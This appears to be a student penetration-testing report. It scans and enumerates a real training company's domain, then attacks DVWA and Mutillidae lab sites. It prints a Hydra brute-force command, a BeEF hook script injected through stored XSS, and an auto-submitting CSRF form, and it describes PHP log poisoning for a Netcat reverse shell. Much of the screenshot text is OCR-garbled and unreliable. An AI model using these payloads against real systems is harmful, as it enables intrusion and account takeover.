OWASP checklist and Test guide were used to continuously gather information that could pinpoint any possible vulnerabilities.  At this stage, Penetration testing started moving from a passive gathering exercise to an active because of the limitation of available information.  Recon-ng checked for zone DNS transfer vulnerabilities and failed. It then carried out a Bruteforce DNS non-disruptive check for subdomains, which were all previously discovered. NMAP (A10)  scanning revealed all the ports that are open and which ports are filtered by a perimeter firewall.  

Appendix A11 [68] [58] Reconnaissance and Scanning OWASP Checklist
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Burpsuite, one of the Market leading website scanning tool was used to Spider or map out the whole website structure.  It was also used to scan the site for vulnerabilities and pinpoint potential issues that need to be investigated.  Permission to carry out Blackbox testing was retracted for Tevelcyber.com; therefore all testing was completed on DVWA (Dam Vulnerable Web Application) and Metasploitable.

Appendix B [68] [58] Attack/Exploitation OWASP Checklist
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Carried out Remote and Local file attacks to infiltrate the DVWA website using the OWASP checklist.  Weevly, a purpose-built stealth PHP web shell, was used for backdoor access attempts.  To fully implement this process, malicious code was uploaded to writable log files.  Burpsuite was used to intercept requests and encode the data, so it passes website checks.  Passthru PHP malicious code was implanted in the agent field of the traffic that will infect the Server/Website and permit the Netcat listening device to gain full access.  The flowchart and screenshots show the attack methodology used (Appendix B).

Appendix C,D & E [68] [58] – Attack/Exploitation OWASP Checklist (SQL Injection)
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SQL injection process involved a discovery stage using POST to pinpoint vulnerabilities in the Multillidae website (Appendix C).  Burpsuite was used to intercept traffic flow, determine if filtering was client-side or server-based.  Injecting quotation marks caused erroring that was the first step in determining vulnerabilities. Using hash symbols allowed password bypassing.  The discovery stage also included using the HTTP get command alongside Burpsuite (Appendix D).  The POST stage investigation allowed us to determine that we can bypass authentication.  The GET method allowed manipulation of the Database using SQL commands like; Order by and Union (Appendix D).  Blind SQL discovery is the final stage which used a true or false statement to determine the existence of Vulnerabilities.   No injection errors were displayed, and the attack was determined a success or failure based or whether the expected output is displayed or the screen or URL breaks (Appendix E). 

Appendix F & G [68] [58] – Attack/Exploitation OWASP Checklist (XSS)
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Cross-Site Scripting code, inject multiple Javascript patterns into DVWA (Appendix F) to force full control connection to the attacker device.  Circumventing filtering required converting the redirection link to CharCode, and tweaking the patterns until they successfully bypass security (Appendix F).  The implanted code will redirect or hook any client that accesses the website to the Beef framework.  See flowcharts in Appendix G for different attack procedures.
Cross-site request recovery process, involved building imitation login pages to trick the user into entering their login and password.  Create an invisible coded form that automatically resets the users login and password that was created by the attacker and upload to the DVWA website.  Send a URL to a social engineered target that runs the code (Appendix H).

Appendix I [68] [58] – Attack/Exploitation OWASP Checklist (Brute Force)[image: ][image: ][image: ]  
Brute Force required generating a password list using the crunch.  Hydra, a network login cracker tool, was used alongside Burpsuite.  The Hydra syntax was used to manipulate the crunch password list with the aid of Burpsuite to capture the authentication request sent the Mutillidae website and fine tune the syntax of the hack so it is successful.  The Flow chart and screenshots in Appendix I shows the attack steps taken.
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Appendix

Appendix A – (Information Gathering or Reconnaissance):

A1:Website Menu/Map 
[image: ]


A2:Google  Hacking Database
filetype:pdf site:tevelcyber.com (Search for PDF's related to the website)
[image: ]
[image: ]





A3:site:tevelcyber.com intitle:login (Search for login page on the website)


[image: ]

A4:site:pastebin.com tevelcyber.com (Search for password)
[image: ]









A5:WHOIS
[image: ]

[image: ]

Domain Name: TEVELCYBER.COM 
Registry Domain ID: 2238131330_DOMAIN_COM-VRSN 
Registrar WHOIS Server: whois.name.com 
Registrar URL: http://www.name.com 
Updated Date: 2020-03-12T08:40:49Z 
Creation Date: 2018-03-12T08:44:44Z 
Registrar Registration Expiration Date: 2021-03-12T08:44:44Z 
Registrar: Name.com, Inc. 
Registrar IANA ID: 625 
Reseller:  
Domain Status: clientTransferProhibited https://www.icann.org/epp#clientTransferProhibited 
Registry Registrant ID: Not Available From Registry 
Registrant Name: Whois Agent 
Registrant Organization: Domain Protection Services, Inc. 
Registrant Street: PO Box 1769  
Registrant City: Denver 
Registrant State/Province: CO 
Registrant Postal Code: 80201 
Registrant Country: US 
Registrant Phone: +1.7208009072 
Registrant Fax: +1.7209758725 
Registrant Email: https://www.name.com/contact-domain-whois/tevelcyber.com 
Registry Admin ID: Not Available From Registry 
Admin Name: Whois Agent 
Admin Organization: Domain Protection Services, Inc. 
Admin Street: PO Box 1769  
Admin City: Denver 
Admin State/Province: CO 
Admin Postal Code: 80201 
Admin Country: US 
Admin Phone: +1.7208009072 
Admin Fax: +1.7209758725 
Admin Email: https://www.name.com/contact-domain-whois/tevelcyber.com 
Registry Tech ID: Not Available From Registry 
Tech Name: Whois Agent 
Tech Organization: Domain Protection Services, Inc. 
Tech Street: PO Box 1769  
Tech City: Denver 
Tech State/Province: CO 
Tech Postal Code: 80201 
Tech Country: US 
Tech Phone: +1.7208009072 
Tech Fax: +1.7209758725 
Tech Email: https://www.name.com/contact-domain-whois/tevelcyber.com 
Name Server: ns8201.hostgator.com 
Name Server: ns8202.hostgator.com 
DNSSEC: unSigned 
Registrar Abuse Contact Email: abuse@name.com 
Registrar Abuse Contact Phone: +1.7203101849 URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/>>> Last update of WHOIS database: 2020-04-27T12:33:14Z <<< 


A6:Metagoofil -d tevelcyber.com -t doc -o temp -f tevelcyber.html (File was empty, no info)
Search for document Metadata i.e. 
Owner – Application owner used to create the document
Date& Time of Creation/Modification – Time and date the document was created and last modified
Network location – Location on a computer network
Geolocation – Identify where the image was created (Graphical)













A7:The Harvester
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A8:Maltego
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A9:Fierce
[image: ][image: ]
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A10:NMAP
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A11:Burpsuite Scan
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Appendix B: Attack/Hack Methodology
Search for file upload Vulnerabilities
Try and upload php shell or backdoor using Weevly and Netcat:
Local or Remote file execution would be possible if any of the other website hosted by the same provider with the same IP address has any vulnerabilities. Maltego list of websites from the reconnaissance Appendix A, shows the following Websites with the same IP address.
1) rockhamptonpipeband.com
2) pinkmamasicecream.com
3) extolohio.com
4) visacorporatesolutions.com
5) ilikevolkswagen.com

Local or Remote file Attack Process
Try and access log files because they are generally editable, and content is written to them regarding server system processes, e.g.,/Proc/self/environ, /Var/log/auth.log, Var/Log/apache2/access.log.
Use the DVWA Website and Burpsuite to capture the output from the client and alter the user agent.  Then replace it with code (PHP) in the user name or send an email to try and gain reverse shell access (full control).
OWASP Checklist [68] [image: ][image: ]
[image: ][image: ][image: ][image: ][image: ][image: ][image: ]

File upload Vulnerabilities[image: ]
[image: ]


Screenshot One – able to view include.php file location[image: ]
Screenshot two – use path from screenshot one to identify vulnerabilities.  Try and access well known writeable files in the operating system.
[image: ]
Screenshot three – Able to view contents of auth.log file
[image: ]
Screenshot four  - Exploitable User Agent field in File
[image: ]
Secreenshot Five – auth.log access
[image: ]
Screenshot  Six – use Burpsuite to intercept code and implant PHP to exploit website (Before)[image: ]
Screenshot Seven (a) – Listening using Netcat [image: ]
Screenshot Seven (b) - Php code implanted into user Agent field
[image: ]
Screenshot Seven (.c) – Php Passthru Command connected to Kali linux remote server [image: ] 



Sreenshot Eight – Test to see if Auth.log enters login attempts into the log file
[image: ]





Screenshot Nine – rejects characters as bad, need to encode characters to bypass checks
[image: ]

Screenshot Ten – encode characters listed as bad to bypass checks
[image: ]



Screenshot Eleven  - PHP code encode and when run decode and placed in Auth.log
[image: ]

Screenshot  twelve – connection established because code accepted and processed
[image: ]







Appendix C: Attack/Hack Methodology
Discover SQL Injection Vulnerabilities using POST method
Owasp_Checklist [68]
[image: ][image: ]
[image: ]
Output using Single Quotation (') as a password[image: ]


Using the username field to gain access, the Hash comments out the password and allows access.
[image: ]



[image: ] [image: ] [image: ]
[image: ]

Injection filtered out, no traffic in Burpsuite, which means client/browser side filtering.
[image: ]






Burpsuite proxy Intercept traffic to Mutillidae Website
[image: ]

Use Burpsuite to change the password with SQL injection before forwarding onto the website.
[image: ]
Login successful with SQL discovery Injection
[image: ]









Appendix D: Attack/Hack Methodology – Discover SQL Injections
Discover SQL Injection Vulnerabilities using GET method
Try and inject code in Tevelcyber URL PHP? action=lost ( https://tevelcyber.com/wp-login.php?action=lostpassword)
[image: ]

There may be other URLs on the website that could be used to check if SQL injection vulnerabilities exist. However, the company has retracted permission to carry out the Pentest.  Mutillidae will be used to go through the GET injection discovery process. 

Menu: Owasp Top 10\A1 Injections\SQLi – Extract Data\User Info
http://192.168.68.113/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details


Select * from username = ‘$USERNAME’ and password=’$PASSWORD’
Inject code directly in the URL.





SQL Injection Methodolgy using GET
Owasp_Checklist [68]
[image: ]
[image: ][image: ]

[image: ]




Screenshot One – Order By
[image: ]
[image: ]

Screenshot Two – Order by
[image: ]
[image: ]

Screenshot Three – Order by
[image: ]

Screenshot four – Order by
[image: ]

Screenshot Five – Order by
[image: ]
Screenshot  Six – Union select[image: ]













Screenshot Seven – Union Select
[image: ]
Screenshot Eight – Union Select – Default Mysql schema to read all table information.[image: ]
Screenshot Nine – Union Select – User credentials from Account table
[image: ]
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Appendix E: Attack/Hack Methodology – SQL Injection Blind
SQL Injection discover method without any database or system errors displayed (Blind)
[image: ]








Screenshot One – 1 accepted as input
[image: ]

Screenshot two – Accepted true statement (1=1)
[image: ]






Screenshot three – unaccepted false statement (1=0), i.e., no user output displayed
[image: ]

Screenshot three – Union Select injection
[image: ]

Screenshot four – Server-side security blocks quotation mark usage 
[image: ]
[image: ]
Screenshot five (a) – Burpsuite decoder convert DVWA to Hexidecimal
[image: ]

Screenshot five (b) – Burpsuite decoder, convert DVWA to Hexidecimal
[image: ]










Appendix F: Attack/Hack Methodology – XSS (Beef)
Cross Site Scripting (XSS) Injection and exploitation (Beef)
Owasp_Checklist [68]  (Appendix F to H)
[image: ][image: ] 
[image: ]
[image: ]
Screenshot One – Successful injection using JavaScript
[image: ]


Screenshot Two (a) – Convert/encode using Char Code 
[image: ]



Screenshot Two (b) – Convert/encode using CharCode [69]

[image: ]














Appendix G: Attack/Hack Methodology – Cross Site Scripting
Exploit XSS using Beef Framework

[image: ]


Beef application started with a URL list to inject to hook client PC's
Screenshot One – use URL below to hook users
[image: ]

Screenshot two – Injection script accepted
[image: ]


Screenshot Three – Browsed to vulnerable XSS Website from Windows PC
[image: ]


Screenshot four (a) – force message to appear in browser to prove connection/hook to that visted the DVWA website.
[image: ]






Screenshot four (b) – force message to appear in browser to prove connection/hook to user that visted the DVWA website.
[image: ]

Screenshot Five
[image: ]





Screenshot Six
[image: ]













Appendix H: Attack/Hack Methodology - Cross Site Request Recovery
[bookmark: _Hlk49012599]Cross Site Request Recovery – Application/Server does not check if a request is valid i.e. send user an email with a code to authorise/allow change.  
[image: ]
Screenshot One (a)
[image: ]

Screenshot One (b)
[image: ]




Screenshot Two (a) – Vulnerable/imitation password change form
[image: ]

Screenshot Two (b) – Vulnerable/imitation password change form run as HTML code.
[image: ]




Screenshot two (.C) – Website accepts password change (Vulnerable)
[image: ]












Screenshot three – blank page, source code invisible to user.  Page source proves code exists.  
[image: ]

Screenshot Four (a) – Add Javascript and run HTML file created from code.
[image: ]








Screenshot Four (b) – ran HTML file and password changed automatically
[image: ]















Appendix I: Attack/Hack Methodology – Brute Force
Last resort Brute force Attack the least stealth and has a high probability of being flagged/alerted to admins.
Owasp_Checklist [68]
[image: ][image: ][image: ]  
Flowchart - Brute force Attack
[image: ]
Screenshot One
[image: ]

Screenshot Two – Hydra Help
[image: ]
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Screenshot Three
[image: ]
[image: ]

Screenshot Four
[image: ]

Screenshot Five
[image: ]
[image: ]
Screenshot Six
[image: ]


Word List already created
hydra 192.168.68.113 -l admin -P ./wordlist.txt http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^Login=Login:F=Not Logged In"
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Close This Window.
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kali@kali:-/beef$ ./beef
:54][*] Browser Exploitation Framework (BeEF) 0.5.0.0-alpha-pre

i54] | Twit: Gbeefproject

54] | site: htops://besfproject.com

:54] | Blog: htcp://blog.besfproject.com

54] I Wiki: hoops://github.com/beefproject/beet/wiki

1541 [*] Poject Creator: f-ic iicorn (@WadeAlcorn)

~- migration context()

- 0.00e53
1541 [*] BEEF is loading. Wait a few seconds...
011[*] & extensions enabled:

:01] | Events
:01] | Social Engineering
o1] | Proxy

101] | Network

01] | XSSRays

101] | Requester

:01] | Demos

01]  I_ Admin UI

01](*] 305 modules enabled.

01][*] 2 network interfaces were detected.

$01][*] running on metwork interface: 127.0.0.1

101] |  Hook URL: http://127.0.0.1:3000/hock.3s

01]  |_ UI URL: http://127.0.0.1:3000/ui/panel
$01][*] running on metwork interface: 192.168.68.122

01] |  Hook URL: http://192.168.68.122:3000/hook.3s
101]  |_ UI URL: hutp://192.168.68.122:3000/ui/panel
01][*] RESTful API key: c7568b46b6£88a084£752646e1£32d4810c22911
01][*] HITP Proxy: http://127.0.0.1:6789

01][*] BeEF server started (press control+c to stop)
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e Vulnerability: Stored Cross Site Scripting (XSS)
Instructions
Name *
Setup.
Message *
‘Sign Guestbook
Name: test

Message: This is a test comment.

EETE— Name: beef
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Message: <script src="http//192 168 68.122:3000
DVWA Security Ihook js"></script>
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<« c @ © | % P 192.168.68.122:3000/ui/panel#id=tmE1q94a85BunqEg)3zon03xe3xwRIxg 11sW78QsfqVbOgpLnQGuwacTExEPhh

Hooked Browsers

Gettingstarted 5] 1o [zomes [ carentoronssr ]

49 Onine Browsers

4591921686813
7 BE 7 15216868110

(CJOffine Browsers

=eEF

‘Offical website: bt/ beefroject.com/
Getting Started
Welcome to BeEF!

Before being able to fuly explore the framework you wil have to hook  browser. To begin with you
can point a browser towards the basic demo page here, or the advanced version here.

1F you want to hook ANY page (for debugaing reasons of course), drag the folowing bookmarkiet ik
nto your browser's bookmark bar, then simply cck the shortaut on another page: Hook el

After a browser is hooked nto the framework they wil appear in the Hooked Browsers’ panel on the
eft. Hooked browsers wil appear i either an onlie or offine state, depending on how recently they.
have poled the framenork.

Hooked Browsers

“Tointeract with a hooked browser simply left-cick it a new tab wil appear. Each hooked browser tab
has a number of sub-tabs, described below:

Details: Display information about the hooked browser after you've run some command modies.

Logs: Displays recent log entries related to this partcar hooked browser.
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4 3 Hooked Domain (1) 1 20200617153  command2
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CSRF - Cross Sire Request Forgery.
‘Send imitation form 1o trick user to enter
credentials

Create imitation HTMIL form to trick users.
into typing in there login and password.
Inpsect form code and copy contents.
‘Screeshot1(b) and 2(a).

- o
‘Send fofm to target user. Ifuser enfers thei
~password the hacker can then use it fo -
“change hir passvordand ganaccess o
ne website
S P
g e

~

No (User ignores form)

[Edit HTML code and insert hidden command
to hide password form elements. Add
password values to the form.
‘Screenshot three

02

Give the form an ID and insert Javascript o automatically cal

form.

<script-document getElementByld(form1°) submit():</script>

‘Screenshot four (@)

Use social engineering to identify target.

Upload to hosted site and send a link/URL
10 the target user.

—
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o confirm the request.
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e Vulnerability: Cross Site Request Forgery (CSRF)

Change your admin password:
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SQL Injection

SQL Injection (Blind)
Upload More info
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<form action="http://192.168.68.124/dvwa/vulnerabilities/csrf" method="GET">

7 CSRettacks htmi - Notepad
Fle dt Fomat View Help

New password:<br>

<input type="password” autocomplets
Confirm new password: <br>

<input type="password” autocomplete="off" name="password_conf">
<br>

<input type="submit" value="Change"

Off" name="password_new"><br>

</Form>
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7] CSRFAttacks5 - Notepad - o

File Edit Fomat View Help

<form id=forml action="http://192.168.68.113/dvwa/vulnerabilities/csrf" method="GET">
<input type="hidden" velue="123456" autocomplete="off" name="password_new"><br>
<input type="hidden" value="123456" autocomplete="off" name="password_conf">
<input type="hidden" value="Change" name="Change">

</Form>

<script>document . getElementByTd( " forml") . submit();</scripts)
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((Brute force Aftack Mutiidae and DVWA Admin
Account.
Create word st with Crunch and attack using

Hydra

Use cruch in Kali o create a wordist or

Download or uyse pre-created wordist off the
Interet e.g Hashes org Screenshot One

v

| Use cruch to create word st (Man Crunch - will give syntax and explain |
the options)
crunch <min-en> <masclen> [<charset sting>] [options]
Grunch 8 10 a1d2i3m -0 wordist ixt
Crunch 8 10 a1d2i3m4 -0 wordistixt £ PEEEEEEE
Grunch 8 10 a1d213m4 -0 vordist x 1 PESEEEEE
Download from Intermet &.g. Hashes.org

A
N o o e e e
Use s i ot e eo s O ...
“ldwiaflogin php-Usemame=AUSER&passiord="PASS Login=Login F=Login
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“Imutiidaefindex. php? />
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kaligkal
Crunch will now generate the following amount
18 M8
0 Gs
018
o BB
Crunch will now generate the following number

crunch: 100% completed generating output
kaligkal
kaligkal
kaligkal
Crunch will now generate the following amount

Crunch will now generate the following number

crunch: 100% completed generating output
kalikali:~$ crunch 8 8 ald2i3p4 -o wordlist2

$ crunch 8 8 ald2i3p4 -o wordlist2.

crunch 8§ 8 ald2i3ps -o wordlist2.

Txt -t pEEEEeEe
of data: 18874368 bytes

of lines: 2097152

Txt -t pEsGEEEE
of data: 2359296 bytes

of lines: 262144

.txt -t pesfeeee
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califkali:~$ hydra -help
iydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-1 LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME]
[-W TDME] [-f] [-s PORT] [-x MIN:MAX:CHRRSET] [-c TIME] [-1SOuvVd4s] [service://server[:BORT][/OPT]]
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-ner oracle-sid pcanywhere penfs pop3(s] postgres radmin? rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smepls] smep-enu
n snmp socksS ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
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califkali:~$ hydra 192.168.68.124 -1 admin -P ./wordlist.txt http-post-form "/mutillidae/index.php?page=login.php:username="USER"|
password="PASS"&1ogin-php-submit-button=Login: F=Not Logged In"
iydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

iydra (nttps://github.com/vanhauser-the/the-hydra) Starting at 2020-06-21 14:17:02
(DATA] max 16 tasks per 1 server, overall 16 tasks, 2097153 login tries (1:1/p:2097153), ~131073 tries per task

(DATA] attacking http-post-form://192.168.68.124:80/murillidae/index.php?page=1ogin. php:username="USER"spassword="PASS"s1ogin-php)
-submit-button=Login: F=Not Logged In

(80] [nttp-post-form] host: 192.168.68.124 login: admin password: adminpass

. of 1 target successfully completed, 1 valid password found

iydra (nttps://github.com/vanhauser-the/the-hydra) finished at 2020-06-21 1
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esktop kali_update.sh Public test.txt  wordlist.txt
ocuments knock stash.sglite Teve.megl
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OTGGUENTA06 [Testing for Glent Side Resource Manipulation Extornal JavaScript could be easil ijected in the rusted web site

www victim com/httpievil comijs js

Bu Proxy, ZAP
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OTG-AUTHN-002

ITesting for default credentials

Testing for defauit credentials of common applications, Testing for
default password of new accounts.

Burp Proxy, ZAP, Hydra
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OTG-AUTHN-004

‘Tesnngfm bypassing authentication schema

Force browsing (fadmin/main.php. ipage.asp?authenticatec
Parameter Modification, Session ID prediction, SQL Injection

Bu Proxy, ZAP
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QUICK LINKS
Consulting.
Contact

Events.

SITEMAP BUSINESS HOURS
Tevel Elite Registration Mon-Sat: 9:30 AM - 6:30 PM
About

Corporate Training

Services

CONTACT US
ADDRESS

Registered Office : 2nd Floor,
9/5 Valliammai Building, 4th
Cross Street, Trustpuram,
Kodambakkam, Chennai -
600024.

Mobile Number : +91-
95660-91009

Landline Number : +91-44-4863
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Information Gather Test Name. Description Tools .| Result | Rem:

e [Conduct Search Engine Discovery and Reconnaissance for | Use  search engine (o search for Network diagrams and (Google Hacking, Sitedigger;
lInformation Leakage Configurations, Credentials, Error message content |Shodan, FOCA, Punkspider
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Google  a

X Q

QAI Eimages @ News ¢ Shopping Q Maps i More Settings  Tools

About 17 results (0.16 seconds)

tevelcybercom> . v por
CERTIFIED CYBER WARRIOR v3.0 - Tevel Cyber Corps

FISST has tie-ups with leading academic institutes in India like IIT-adras, lIT-Bangalore as wel
s international institutes such as Virginia Technology, USA for

tevelcyber.com > 2018/07 » PROGRAM-BROCHURE ~ FDF
website brochure - Tevel Cyber Corps

The program enables the participant to:. - Translate knowiedge gained to real time work
environment. - Run Windows & Linux command line tools to assess.

tevelcyber.com > wp-content > uploads » 2020/02 + ror
CERTIFIED CYBER WARRIOR v3.0 - Digital Skills Academy

FISST has tie-ups with leading academic institutes in India like IIT-adras, lIT-Bangalore as wel
s international institutes such as Virginia Technology, USA for
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Google site-tevelcyber.com intitle:login X Q

QAI Eimages © Maps @ News [ Videos i More Settings  Tools

Your search - site:tevelcyber.com intitle:login - did not match any documents.
Suggestions:

« Make sure that all words are spelled correctly.
« Try different keywords.

« Try more general keywords.

« Try fewer keywords.
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Google site-pastebin.com tevelcyber.com X Q

QA [)Videos @ News [EImages  Maps i More Settings  Tools

Your search - site:pastebin.com tevelcyber.com - did not match any documents
Suggestions:

« Make sure that all words are spelled correctly.
« Try different keywords.

« Try more general keywords.

« Try fewer keywords.
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WHOIS/IPWHOIS Lookup Results for tevelcyber.com

Results for Target: tevelcyber.com

Discovered Nameservers Registrar Information

ns8201.hostgator.com | 192.185.39.51
~ns8202.hostgator.com | 192.185.39.52

Name.com, Inc
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Contact Information

Registrant Administrative Contact Technical Contact

Domain Protection Services, Inc. Denver Whois Agent

Denver © Denver

© https:/ /wwwname.com/ contact-domain- ©

https:/ fwwwname.com/contact-domain- ‘whois/ tevelcyber.com https:/ /wwwname.com/ contact-domain-
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kaligkal:
ProxyChains-3.1 (http://proxychains.sf.net)
File already exists, do you want to overwrite it? [Y|N] y
Now logging to /etc/Fierce-Tevel
DNS Servers for tevelcyber.com:

ns8201. hostgator. com

ns8202. hostgator. com

Trying zone transfer first...
Testing ns8201.hostgator. com

D-chain}-<>-127.0.

D-chain}-<>-127

Request timed out or transfer not allowed.

Testing ns8202.hostgator. com
|D-chain}-<>-127 19050—><)~192.185.39.52:53—<><—0K
Request timed out or transfer not allowed.

Unsuccessful in zone transfer (it was worth a shot)
Okay, trying the good old fashioned way ... brute force

Checking for wildcard DNS ...
Nope. Good.

Now performing 2280 test(s)
192.185.39.52  conference. tevelcyber.com
192.185.39.52  ftp.tevelcyber.com
192.185.39.52  mail.tevelcyber.com
127.0.0.1 Tocalhost. tevelcyber. com
192.185.39.52  webmail.tevelcyber.com
192.185.39.52  www.tevelcyber. com

~$ sudo proxychains fierce -dns tevelcyber.com -thread 10 -file /etc/Fierce-Tevel
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Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-29 17:06 EDT
Initiating Ping Scan at 17:06

Scanning 192.185.39.52 [4 ports]

Completed Ping Scan at 17:06, 0.55s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:06
Completed Parallel DNS resolution of 1 host. at 17:
Initiating SYN Stealth Scan at 17:06

Scanning ns8202.hostgator.com (192.185.39.52) [1000 ports]
Discovered open port 993/tcp on 192.185.39.52

Discovered open port 443/tcp on 192.185.39.52

Discovered open port 143/tcp on 192.185.39.52

Discovered open port 21/tcp on 192.185.39.52

Discovered open port 53/tcp on 192.185.39.52

Discovered open port 22/tcp on 192.185.39.52

Discovered open port 110/tcp on 192.185.39.52

Discovered open port 3306/tcp on 192.185.39.52

Discovered open port 995/tcp on 192.185.39.52

Discovered open port 80/tcp on 192.185.39.52

, 0.27s elapsed

Increasing send delay for 192.185.39.52 from @ to 5 due to 24 out of 79 dropped probes since last increase.
Increasing send delay for 192.185.39.52 from 5 to 10 due to max_successful_tryno increase to 4
SYN Stealth Scan Timing: About 13.00% done; ETC: 17:10 (0:03:27 remaining)

Increasing send delay for 192.185.39.52 from 10 to

due to 11 out of 25 dropped probes since last increase.

SYN Stealth Scan Timing: About 14.12% done; ETC: 17:13 (0:06:11 remaining)
Increasing send delay for 192.185.39.52 from 20 to 40 due to 11 out of 13 dropped probes since last increase.

SYN Stealth Scan Timing: About 15.73% don
SYN Stealth Scan Timing: About 16.70% done; ETC: 17:18 (

ETC: 17:16 (0:08:07 remaining)
0:04 remaining)

Increasing send delay for 192.185.39.52 from 40 to 80 due to max_successful_tryno increase to 5

Increasing send delay for 192.185.39.52 from 80 to 160 due to max_successful_tryno increase to 6

Increasing send delay for 192.185.39.52 from 160 to 320 due to 19 out of 62 dropped probes since last increase.
SYN Stealth Scan Timing: About 36.39% done; ETC: 17:13 (0:04:24 remaining)
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Joli:~$ sudo nmap -T4 -v -PN -n -sS —top-ports 100 —max-parallelism 10 -oA nmapSYN 192.185.39.52
ing: The -PN option is deprecated. Please use -Pn

Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-29 17:36 EDT

Initiating SYN Stealth Scan at 17:36

Scanning 192.185.39.52 [100 ports]

Discovered open port 53/tcp on 192.185.39.52

Discovered open port 3306/tcp on 192.185.39.52

Discovered open port 21/tcp on 192.185.39.52

Discovered open port 110/tcp on 192.185.39.52

Discovered open port 22/tcp on 192.185.39.52

Discovered open port 143/tcp on 192.185.39.52

Discovered open port 993/tcp on 192.185.39.52

Discovered open port 443/tcp on 192.185.39.52

Discovered open port 80/tcp on 192.185.39.52

Discovered open port 995/tcp on 192.185.39.52

Discovered open port 26/tcp on 192.185.39.52

Discovered open port 465/tcp on 192.185.39.52

Completed SYN Stealth Scan at 17:36, 6.62s elapsed (100 total ports)

Nmap scan report for 192.185.39.52

Host is up (0.21s latency).

Not shown: 82 closed ports

PORT  STATE  SERVICE

21/tcp open  ftp

22/tcp open  ssh

25/tcp  filtered smtp

26/tcp open  rsftp

53/tcp open  domain

80/tcp open  http

110/tcp open  pop3

135/tcp filtered msrpc

139/tcp filtered netbios-ssn





image39.png
143/tcp open  imap
443/tcp open  https
445/tcp filtered microsoft-ds

465/tcp open  smtps
587/tcp filtered submission
993/tcp open  imaps

995/tcp open  pop3s
1433/tcp filtered ms-sql-s
3306/tcp open  mysql

Read data files from: /usr/bin/../share/nmap

Nmap done: 1 IP address (1 host up) scanned in 6.75 seconds
Raw packets sent: 126 (5.544KB) | Rcvd: 95 (3.852KB)

kaliakaliz~$ Il
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> | TLS cookie without secure flag set [4]

> @ Cross-orign esource sharing: unencrypted origi trusted [2]
> @ Password fied wih autocomplte enabled [2]
> @ Strictransport securty not enforced 9]

> | Cookie without HitpOnly fiag set [6]
Content type incorrectly stated [10]
Cross-origin resource sharing [4]

Input retured i response (refected) [27]
Cross-domain Referer leakage [7]
Browser cross-ste scripting fter disabled
Cred card numbers disclosed
Robots.ixt fie
Cacheable HTTPS response [3]

Hultle contenttypes specified

LS certficate:

Mixed content

User agent-dependent response (25]
Frameable response (potentia Cickjacking)
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0 Cross-origin resource sharing: arbitrary origin trusted

sue: Cross-origin resource sharing: arbitrary origin trusted
Severty:  High
Confidence:  Certain

Host htps:itevelcyber.com

Issue background

An HTHLS cross-orgi resource sharing (CORS) policy controls whether and how content runing on other domains can perform two-way ineracton with the domain that publshes the pofcy. The.
policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

‘Trusiing arbtrary origins effectively disables the same-origi poliy, alowing two-way inferaction by third-party web sies. Unless the response consists only of unprotected publc content, hs poiicy
s kel to present a secury risk.

Ifthe ste specifies the header Access-Control-Alow-Credentils: rue, thic-party stes may be able o carry out privieged actons and retrieve senstive informaton. Even f  does ot atacers may.
e able o bypass any IP-based access controls by proxying through users' browsers.

Issue remediation

Rather than using a widcard or programmaticaly verifying suppied origis, use a whitist of trusted domains.

References.

- Explting CORS Misconfigurations

Vulnerability classifications.

« CWE-942: Overly Permissive Cross-domain Whielst
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! TLS cookie without secure flag set

sue: TLS cookie without secure flag set
Severty:  Medium

Confidence:  Firm.

Host htps:itevelcyber.com

Issue detail

4 stances of tis issue were entied. The folowing cookie Was receved:

Issue background

Ifthe secure flag s set on a cookie, then browsers will ot subm the cookie i any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivaly intercepted by
an atacker monitoring network traffic. I the secure flag is not st, then the cookie wil be transmited in clear-text f the user vists any HTTP URLS wifin the cookie's scope. An attacker may be abe fo
induce this event by feeding a user sutable ks, efther drectly o via another web ste. Even ifthe domain that isued the cookie does not host any content that s accessed over HTTP, an sttacker
may be able o use ks of he form hitp!/example.com 443/ to performthe same attack.

To explot his vuinerabilty, an attacker must be sutably positoned o eavesdrop on the vctis network traffic. Tis scenario ypically occurs when a clent communicates wih he server over an
Insecure connection such as pubic Wi, or a corporate or home network that s shared with a compromised computer. Common defenses such as switched networks are not sufficent to prevent
this. An attacker stuated in the users ISP or the appiicaton's hosting nfrastructure could lso perform i attack. Note that an advanced adversary could potentily target any connection made over
the Internet's core nfrastructure.

Issue remediation

The secure fiag should be set on all cookies that are used for ransmiting sensfive data when accessing content over HTTPS. If cookies are used fo transmit session tokens, then areas of the
‘appication that are accessed over HTTPS should employ their own session handing mechanisi, and the session tokens sed should never be transmited over unencrypted communications.

Vulnerability classifications.

« CWE-514: Sensitive Cookie n HITPS Session Wihout Secure’ Afirbute
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v ) Cross-origin resource sharing: unencrypted origi trusted [2]
© twp-adminfadmin-ajax php
@ /wp-admin/admin-ajax.php/
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0 Cross-origin resource sharing: unencrypted origin trusted

sue: Cross-origin resource sharing: unencrypted origin trusted
Severty:  Low

Confidence:  Certain

Host htps:itevelcyber.com

Issue detail
2 instances of tis ssue were entied, at the folowing locations:
« fwp-adminiadmin-sjax php

Issue background

An HTHLS cross-orgi resource sharing (CORS) policy controls whether and how content runing on other domains can perform two-way ineracton with the domain that publshes the pofcy. The.
policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

13 st alows nteraction ffom an origh that uses unencrypted HTTP communications, then i i vulnerable o an attacker who s n 3 posiion to view and modify a user's unencrypted network traffic.
“The attacker can control the responses from unencrypted orgins, thereby injecting content that is able to neract wihthe appication that publshes the poiicy. This means that the appication s
effecively extending trust 0 allsuch attackers, thereby undoing much of the beneft of using HTTPS communications.

Issue remediation

Only rust orgis that use encrypted HTTPS communications.

References.

- Explting CORS Misconfigurations

Vulnerability classifications.

